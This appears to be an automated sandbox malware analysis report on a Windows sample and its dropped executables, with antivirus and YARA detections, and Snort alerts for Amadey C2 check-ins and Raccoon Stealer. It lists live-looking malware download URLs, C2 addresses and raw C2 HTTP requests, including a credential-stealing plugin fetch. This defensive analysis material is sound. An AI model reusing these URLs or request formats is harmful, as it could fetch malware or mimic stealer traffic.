Source: Yara match	File source: 38.2.5C89.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.920325973.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.917559502.0000000004DF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.931172576.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5C89.exe PID: 5200, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://185.163.45.70/capibar	Avira URL Cloud: Label: phishing
Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8474_1641976243_3082.exe	Avira URL Cloud: Label: malware
Source: http://185.163.45.70/capibarvg	Avira URL Cloud: Label: phishing
Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://185.163.204.22/capibar	Avira URL Cloud: Label: malware
Source: https://185.163.204.22/capibar	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	Avira URL Cloud: Label: malware
Source: http://185.163.204.22/capibarp	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\gecrjwsv.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: tijXCZsbGe.exe	Virustotal: Detection: 34%			Perma Link
Source: tijXCZsbGe.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://185.163.45.70/capibar	Virustotal: Detection: 11%	Perma Link
Source: http://185.215.113.35/d2VxjasuwS/index.php	Virustotal: Detection: 11%	Perma Link
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Virustotal: Detection: 12%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\6FB4.exe	Metadefender: Detection: 29%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\6FB4.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\9334.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\B0F7.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\B0F7.exe	ReversingLabs: Detection: 76%

Machine Learning detection for sample

Show sources

Source: tijXCZsbGe.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\rifsswe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\gecrjwsv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6FB4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B0F7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C7FA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8783.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9DFA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Joe Sandbox ML: detected

Source: 16.3.DB31.exe.660000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.gecrjwsv.exe.580e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.3.5C89.exe.4d40000.2.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 34.2.svchost.exe.5d0000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 32.3.gecrjwsv.exe.5a0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 17.2.E748.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 17.3.E748.exe.650000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.gecrjwsv.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 16.2.DB31.exe.640e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.gecrjwsv.exe.5a0000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 17.2.E748.exe.630e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	16_2_00407470
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	16_2_00404830
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	16_2_00407510
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00407190 CryptUnprotectData,	16_2_00407190
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	16_2_004077A0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Unpacked PE file: 16.2.DB31.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Unpacked PE file: 17.2.E748.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Unpacked PE file: 32.2.gecrjwsv.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Unpacked PE file: 38.2.5C89.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Unpacked PE file: 38.2.5C89.exe.400000.0.unpack

Source: tijXCZsbGe.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\9334.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49888 version: TLS 1.2

Source:	Binary string: C:\zazadix dori\kol.pdb source: DB31.exe, 00000010.00000000.772191492.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\jixixahut\vovima50\zuwa\ficux93 lodedam pazuwisivovu\sewidel.pdb source: 5C89.exe, 00000026.00000003.849959984.00000000030D0000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.987438014.0000000003010000.00000040.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771517190.0000000004E2A000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdbL source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.772634136.0000000003190000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771566987.0000000003190000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbM source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: C:\buti15\juyekuzotaj-yodod\ciso_pematufuz.pdb source: E748.exe, 00000011.00000000.781295267.0000000000401000.00000020.00020000.sdmp, E748.exe, 00000011.00000002.957299537.00000000008A2000.00000004.00000001.sdmp, gecrjwsv.exe, 00000020.00000000.799382925.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.896342042.0000000000C4F000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: -C:\jixixahut\vovima50\zuwa\ficux93 lodedam pazuwisivovu\sewidel.pdbh source: 5C89.exe, 00000026.00000003.849959984.00000000030D0000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.987438014.0000000003010000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.772634136.0000000003190000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771566987.0000000003190000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9334.exe, 0000000B.00000000.759170928.0000000000413000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767055660.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000000F.00000002.803672016.0000000002F80000.00000002.00020000.sdmp
Source:	Binary string: `C:\buti15\juyekuzotaj-yodod\ciso_pematufuz.pdbh source: E748.exe, 00000011.00000000.781295267.0000000000401000.00000020.00020000.sdmp, E748.exe, 00000011.00000002.957299537.00000000008A2000.00000004.00000001.sdmp, gecrjwsv.exe, 00000020.00000000.799382925.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.896342042.0000000000C4F000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: :]WC:\yakon-nabavazolof\masa.pdb source: 5C89.exe, 00000026.00000002.987710608.0000000003250000.00000040.00000001.sdmp, 5C89.exe, 00000026.00000003.853855551.0000000003300000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdbH source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\lalovum36_po.pdb source: tijXCZsbGe.exe, tijXCZsbGe.exe, 00000000.00000000.664586745.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000001.00000000.668244716.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000002.756214332.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000000.750595038.0000000000401000.00000020.00020000.sdmp, rifsswe, 0000000A.00000000.753285521.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\yakon-nabavazolof\masa.pdb source: 5C89.exe, 00000026.00000002.987710608.0000000003250000.00000040.00000001.sdmp, 5C89.exe, 00000026.00000003.853855551.0000000003300000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbN source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbR source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9334.exe, 0000000B.00000000.759170928.0000000000413000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767055660.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000000F.00000002.803672016.0000000002F80000.00000002.00020000.sdmp
Source:	Binary string: C:\lalovum36_po.pdbh source: tijXCZsbGe.exe, 00000000.00000000.664586745.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000001.00000000.668244716.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000002.756214332.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000000.750595038.0000000000401000.00000020.00020000.sdmp, rifsswe, 0000000A.00000000.753285521.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\zazadix dori\kol.pdbh source: DB31.exe, 00000010.00000000.772191492.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_00419BC1 BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419BC1
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	16_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	16_2_00401280
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	16_2_00401090
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_00409970
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_004087E0

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.4:49878 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49890 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.4:49891 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49893 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49915 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49918 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49920 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49922 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49923 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49924 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49929 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.4:49930 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49931 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.4:49935 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49936 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49940 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49941 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49942 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49943 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.4:49946 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49945 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49947 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49948 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49949 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49951 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49952 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49953 -> 185.215.113.35:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.0 25
Source: C:\Windows\explorer.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.188.183.61 443
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /d2VxjasuwS/plugins/cred.dll HTTP/1.1Host: 185.215.113.35
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----05b424179b6863bc044442966a2693c0Host: 185.215.113.35Content-Length: 105185Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
